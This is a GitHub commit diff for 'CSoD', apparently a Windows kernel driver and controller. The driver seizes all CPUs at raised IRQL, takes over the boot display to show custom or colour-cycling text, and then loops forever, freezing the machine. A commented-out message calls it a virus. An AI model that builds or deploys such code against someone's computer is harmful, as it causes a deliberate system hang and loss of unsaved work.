Skip to content

Commit

Permalink
new!
Browse files Browse the repository at this point in the history
  • Loading branch information
caizhe666 committed Feb 19, 2021
1 parent a32d730 commit 2381afb
Show file tree
Hide file tree
Showing 8 changed files with 124 additions and 29 deletions.
22 changes: 1 addition & 21 deletions CSoD.sln
Original file line number Diff line number Diff line change
Expand Up @@ -3,54 +3,34 @@ Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30907.101
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CSoD", "CSoD.vcxproj", "{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}"
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CSoD", "CSoD\CSoD.vcxproj", "{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CSoDController", "CSoDController\CSoDController.vcxproj", "{2C5B7887-11C3-4532-820D-C4FFC4A87432}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|ARM64 = Debug|ARM64
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|ARM = Release|ARM
Release|ARM64 = Release|ARM64
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|ARM.ActiveCfg = Debug|ARM
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|ARM.Build.0 = Debug|ARM
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|ARM.Deploy.0 = Debug|ARM
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|ARM64.ActiveCfg = Debug|ARM64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|ARM64.Build.0 = Debug|ARM64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|ARM64.Deploy.0 = Debug|ARM64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|x64.ActiveCfg = Debug|x64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|x64.Build.0 = Debug|x64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|x64.Deploy.0 = Debug|x64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|x86.ActiveCfg = Debug|Win32
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|x86.Build.0 = Debug|Win32
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Debug|x86.Deploy.0 = Debug|Win32
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|ARM.ActiveCfg = Release|ARM
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|ARM.Build.0 = Release|ARM
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|ARM.Deploy.0 = Release|ARM
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|ARM64.ActiveCfg = Release|ARM64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|ARM64.Build.0 = Release|ARM64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|ARM64.Deploy.0 = Release|ARM64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|x64.ActiveCfg = Release|x64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|x64.Build.0 = Release|x64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|x64.Deploy.0 = Release|x64
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|x86.ActiveCfg = Release|Win32
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|x86.Build.0 = Release|Win32
{22B7B16A-CD53-43E0-A6BC-33A571AA68A3}.Release|x86.Deploy.0 = Release|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Debug|ARM.ActiveCfg = Debug|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Debug|ARM64.ActiveCfg = Debug|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Debug|x64.ActiveCfg = Debug|x64
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Debug|x64.Build.0 = Debug|x64
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Debug|x86.ActiveCfg = Debug|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Debug|x86.Build.0 = Debug|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Release|ARM.ActiveCfg = Release|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Release|ARM64.ActiveCfg = Release|Win32
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Release|x64.ActiveCfg = Release|x64
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Release|x64.Build.0 = Release|x64
{2C5B7887-11C3-4532-820D-C4FFC4A87432}.Release|x86.ActiveCfg = Release|Win32
Expand Down
File renamed without changes.
124 changes: 118 additions & 6 deletions CSoD.c → CSoD/CSoD.c
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,84 @@
PDEVICE_OBJECT g_pDeviceObject = NULL;
UNICODE_STRING g_uniSymbolName = RTL_CONSTANT_STRING(L"\\??\\CSoD");

ULONG g_uNumberOfRaisedCPU = 0;
ULONG g_uAllCPURaised = 0;
PKDPC g_basePKDPC = NULL;

VOID
RaiseCPUIrqlAndWait(
IN PKDPC Dpc,
IN PVOID DeferredContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2
)
{
UNREFERENCED_PARAMETER(SystemArgument2);
UNREFERENCED_PARAMETER(SystemArgument1);
UNREFERENCED_PARAMETER(DeferredContext);
UNREFERENCED_PARAMETER(Dpc);

InterlockedIncrement((PLONG)&g_uNumberOfRaisedCPU);
while (!InterlockedCompareExchange((PLONG)&g_uAllCPURaised, 1, 1))
__nop();

InterlockedDecrement((PLONG)&g_uNumberOfRaisedCPU);
}

VOID
ReleaseExclusivity(
VOID
)
{
InterlockedIncrement((PLONG)&g_uAllCPURaised);
while (InterlockedCompareExchange((PLONG)&g_uNumberOfRaisedCPU, 0, 0))
__nop();

if (NULL != g_basePKDPC)
{
ExFreePool((PVOID)g_basePKDPC);
g_basePKDPC = NULL;
}

return;
}

BOOLEAN
GainExlusivity(
VOID
)
{
ULONG uCurrentCpu = 0;
PKDPC tempDpc = NULL;
if ((DISPATCH_LEVEL != KeGetCurrentIrql()) || !KeNumberProcessors)
return FALSE;

InterlockedAnd((PLONG)&g_uNumberOfRaisedCPU, 0);
InterlockedAnd((PLONG)&g_uAllCPURaised, 0);
tempDpc = (PKDPC)ExAllocatePoolWithTag(NonPagedPool, KeNumberProcessors * sizeof(KDPC), CSoD_POOL_TAG);
if (tempDpc)
{
g_basePKDPC = tempDpc;
uCurrentCpu = KeGetCurrentProcessorNumber();
for (ULONG i = 0; i < (ULONG)KeNumberProcessors; i++, *tempDpc++)
if (i != uCurrentCpu)
{
KeInitializeDpc(tempDpc, RaiseCPUIrqlAndWait, NULL);
KeSetTargetProcessorDpc(tempDpc, (CCHAR)i);
KeInsertQueueDpc(tempDpc, NULL, NULL);
}

while (KeNumberProcessors - 1 != InterlockedCompareExchange((PLONG)&g_uNumberOfRaisedCPU, KeNumberProcessors - 1, KeNumberProcessors - 1))
__nop();

return TRUE;
}

return FALSE;
}

//_disable();
//GainExlusivity();
//KIRQL Irql = KeRaiseIrqlToDpcLevel();
//
//if (InbvIsBootDriverInstalled())
Expand All @@ -30,7 +108,8 @@ UNICODE_STRING g_uniSymbolName = RTL_CONSTANT_STRING(L"\\??\\CSoD");
// LastWidth = Width;
// }
//#else
// InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, BV_COLOR_CYAN);
// InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, BV_COLOR_WHITE);
// InbvSolidColorFill(0, 0, 0, 0, BV_COLOR_RED);
//#endif
//
// InbvSetTextColor(BV_COLOR_WHITE);
Expand All @@ -42,14 +121,14 @@ UNICODE_STRING g_uniSymbolName = RTL_CONSTANT_STRING(L"\\??\\CSoD");
//CHAR Text1[] = "Virus by Mitsuha & gt428 & TSK fxxked your computer so you got a strange CSoD.";
//CHAR Text2[] = "Please SANLIAN TOUBI GUANZHU!";
//
//for (USHORT j = 0; j < SCREEN_HEIGHT / CHAR_HEIGHT / 2; j++)
//for (SHORT j = 0; j < SCREEN_HEIGHT / CHAR_HEIGHT / 2; InterlockedIncrement16(&j))
//{
// for (USHORT i = 0; i < (SCREEN_WIDTH / CHAR_WIDTH - sizeof(Text1) + 1) / 2; i++)
// for (SHORT i = 0; i < (SCREEN_WIDTH / CHAR_WIDTH - sizeof(Text1) + 1) / 2; InterlockedIncrement16(&i))
// InbvDisplayString((PUCHAR)" ");
// InbvDisplayString((PUCHAR)Text1);
// InbvDisplayString((PUCHAR)"\r\n");
//
// for (USHORT i = 0; i < (SCREEN_WIDTH / CHAR_WIDTH - sizeof(Text2) + 1) / 2; i++)
// for (SHORT i = 0; i < (SCREEN_WIDTH / CHAR_WIDTH - sizeof(Text2) + 1) / 2; InterlockedIncrement16(&i))
// InbvDisplayString((PUCHAR)" ");
// InbvDisplayString((PUCHAR)Text2);
// InbvDisplayString((PUCHAR)"\r\n");
Expand All @@ -59,6 +138,8 @@ UNICODE_STRING g_uniSymbolName = RTL_CONSTANT_STRING(L"\\??\\CSoD");
//;
//
//KeLowerIrql(Irql);
//ReleaseExclusivity();
//_enable();

NTSTATUS
PassRequest(
Expand Down Expand Up @@ -96,27 +177,58 @@ DeviceIoControl(
{
nUsedLength = sizeof(CSoD_DATA);

_disable();
GainExlusivity();
KIRQL Irql = KeRaiseIrqlToDpcLevel();

if (InbvIsBootDriverInstalled())
{
InbvAcquireDisplayOwnership();
InbvResetDisplay();

InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, pSystemBuffer->BackColor);
if (pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, BV_COLOR_WHITE);
else
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, pSystemBuffer->BackColor);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL)
InbvSetTextColor(BV_COLOR_WHITE);
else
InbvSetTextColor(pSystemBuffer->TextColor);

InbvSetTextColor(pSystemBuffer->TextColor);
InbvInstallDisplayStringFilter(NULL);
InbvEnableDisplayString(TRUE);
InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);
}

InbvDisplayString((PUCHAR)pSystemBuffer->Text);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL || pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
while (TRUE)
for (SHORT i = 0; i < BV_MAX_COLORS; InterlockedIncrement16(&i))
for (SHORT j = 0; j < BV_MAX_COLORS; InterlockedIncrement16(&j))
if (InbvIsBootDriverInstalled())
{
if (pSystemBuffer->BackColor == BV_COLOR_COLORFUL)
InbvSolidColorFill(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1, i);

if (pSystemBuffer->TextColor == BV_COLOR_COLORFUL)
InbvSetTextColor(j);

InbvSetScrollRegion(0, 0, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 1);

InbvDisplayString((PUCHAR)pSystemBuffer->Text);

for (LONG w = 0; w < 1024; InterlockedIncrement(&w))
;
}

while (TRUE)
;

KeLowerIrql(Irql);
ReleaseExclusivity();
_enable();
}

default:
Expand Down
File renamed without changes.
File renamed without changes.
2 changes: 2 additions & 0 deletions ControlCode.h → CSoD/ControlCode.h
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,8 @@
#define BV_COLOR_NONE 16
#define BV_MAX_COLORS 16

#define BV_COLOR_COLORFUL 255

#define SCREEN_WIDTH 640
#define SCREEN_HEIGHT 400

Expand Down
1 change: 1 addition & 0 deletions Includes.h → CSoD/Includes.h
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
#pragma once
#include <ntifs.h>
#include <intrin.h>

#define CSoD_POOL_TAG 'DoSC'
#define _CSoD_WHILE 0
Expand Down
4 changes: 2 additions & 2 deletions CSoDController/Main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,8 @@ wmain(
if (hDevice != INVALID_HANDLE_VALUE)
{
CSoD_DATA Data = { 0 };
Data.BackColor = BV_COLOR_MAGENTA;
Data.TextColor = BV_COLOR_RED;
Data.BackColor = BV_COLOR_COLORFUL;
Data.TextColor = BV_COLOR_COLORFUL;
strcpy_s(Data.Text, "Hello World!");

DWORD dwReturned = 0;
Expand Down

0 comments on commit 2381afb

Please sign in to comment.